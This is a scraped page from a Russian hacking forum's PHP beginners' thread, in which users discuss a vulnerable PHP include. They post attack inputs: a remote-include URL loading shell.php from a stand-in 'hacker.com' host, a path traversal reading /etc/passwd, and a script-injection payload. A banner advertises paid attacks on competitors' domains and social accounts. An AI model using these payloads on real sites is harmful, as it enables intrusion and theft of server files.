[php] Новичкам: задаем вопросы

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
[php] Новичкам: задаем вопросы

Страница 1018 из 1640

1018

Опции темы

Поиск в этой теме

Опции просмотра

#10171

23.04.2009, 19:20

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

Цитата:

Сообщение от DDoSька

+1, тоже стало интересно.

Ну вот тут почитайте, например:

http://www.virtuax.be/fztr/index.php?title=XSS_Intraframe_Logger

и тут кое-что:

http://securityvulns.ru/Tdocument29.html

а также LFI (PHP-inj):

http://n0ns3ns3.livejournal.com/219202.html (ctrl+f "include")

Последний раз редактировалось Pashkela; 23.04.2009 в 19:27..

#10172

23.04.2009, 19:27

DDoSька

Постоянный

Регистрация: 05.05.2008

Сообщений: 403

С нами: 9483229

Репутация: 1160

Цитата:

Сообщение от Pashkela

Ну вот тут почитайте, например:

http://www.virtuax.be/fztr/index.php?title=XSS_Intraframe_Logger

и тут кое-что:

http://securityvulns.ru/Tdocument29.html

Мы хотели пример на данном куске кода выше, который показа nilux
/index.php?page=http://hacker.com/shell.php).
В скрипте nilux`не проинклудилось бы

Последний раз редактировалось DDoSька; 23.04.2009 в 19:30..

#10173

23.04.2009, 19:35

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

2 DDoSька:

это врядли можно продемонстрировать полноценно, когда выложено только:

PHP код:


		
			
include("page".$GET['id'].".php");

Чтобы понять, что тут КОНКРЕТНЫЙ LFI, просто прочтите то, чему вы поверите:

http://forum.antichat.ru/thread23501.html

и не надо меня впредь просить искать уязвимость в коде:

PHP код:


		
			
$a = $a+1;

остальной код (скрытый) имеет значение, для демонстрации уязвимости, когда просят именно так - "нет ты скажи, как именно здесь можно всё похерить"

Цитата:

/index.php?page=http://hacker.com/shell.php).
В скрипте nilux`не проинклудилось бы

а я не говорил о RFI, тут LFI, что очень часто достаточно

т.е. например:

/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd%00 очень даже просто могло бы, при определенных обстоятельствах, дать свои плоды

Последний раз редактировалось Pashkela; 23.04.2009 в 19:38..

#10174

23.04.2009, 19:47

m0Hze

Он хакер.

Регистрация: 01.11.2008

Сообщений: 1,756

С нами: 9223466

Репутация: 3171

Не то

#10175

23.04.2009, 19:51

DDoSька

Постоянный

Регистрация: 05.05.2008

Сообщений: 403

С нами: 9483229

Репутация: 1160

Цитата:

Сообщение от m0Hze

Не то

Это точно , от xss от отшли к php-inc
да и там "page1.php"
page/../../config.php , разве даст плоды?

#10176

23.04.2009, 19:54

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

/index.php?page="><script>alert(xss)</script>

так лучше?

Просто кому XSS нужен, когда LFI есть

Цитата:

Сообщение от DDoSька

Это точно , от xss от отшли к php-inc
да и там "page1.php"
page/../../config.php , разве даст плоды?

../ - означает подняться на один уровень выше, вообще-то, неважно, в какой папке ты сейчас

Последний раз редактировалось Pashkela; 23.04.2009 в 19:58..

#10177

23.04.2009, 20:03

DDoSька

Постоянный

Регистрация: 05.05.2008

Сообщений: 403

С нами: 9483229

Репутация: 1160

Цитата:

Сообщение от Pashkela

/index.php?page="><script>alert(xss)</script>

так лучше?

Просто кому XSS нужен, когда LFI есть

../ - означает подняться на один уровень выше, вообще-то, неважно, в какой папке ты сейчас - полезный для меня урок

Не знал, что это так влияет, спасибо за пример

Хоть провда и просили про XSS

Последний раз редактировалось DDoSька; 23.04.2009 в 20:05..

#10178

23.04.2009, 22:55

nilux

Участник форума

Регистрация: 19.08.2005

Сообщений: 132

С нами: 10907928

Репутация: 121

Pashkela спасибо, запрос http://www.site.com/index.php?id=../../index убил браузер )))) рекурсия блин

Последний раз редактировалось nilux; 23.04.2009 в 23:15..

#10179

24.04.2009, 00:04

Dimi4

Reservists Of Antichat - Level 6

Регистрация: 19.03.2007

Сообщений: 953

С нами: 10077446

Репутация: 3965

Моя ваша непонимать. Моя понимать джокестера. Че вы тут о хсс трёте если тут явно лфи? О_О

П.С

Цитата:

Нет, это безопасно

__________________

BlackHat.

MoDL

#10180

24.04.2009, 00:24

diznt

Постоянный

Регистрация: 31.01.2008

Сообщений: 643

С нами: 9619229

Репутация: 445

PHP код:


		
			
<form method="post">

<center>

<div>text:

<input type="text" name="text" size="60"/><br />

<input type="submit" name="button" value="decode"/>

</div>

<br />

<br />

<br />

<center>

<div>md5</div>

<input type="text" name="md5" size="40"/>

</center>

</form>

<?php

 if (isset($_POST['button'])){

     $_POST['md5'] = md5($_POST['text']);

 }

?>

вообщем нужно чтобы value у md5 было значение функции md5($_POST['text'])

как это сделать?

Страница 1018 из 1640

1018

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[c/c++] Новичкам: задаем вопросы	_Great_	С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby	5421	21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы	podkashey	Мировые новости. Обсуждения.	4	07.07.2006 16:53
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход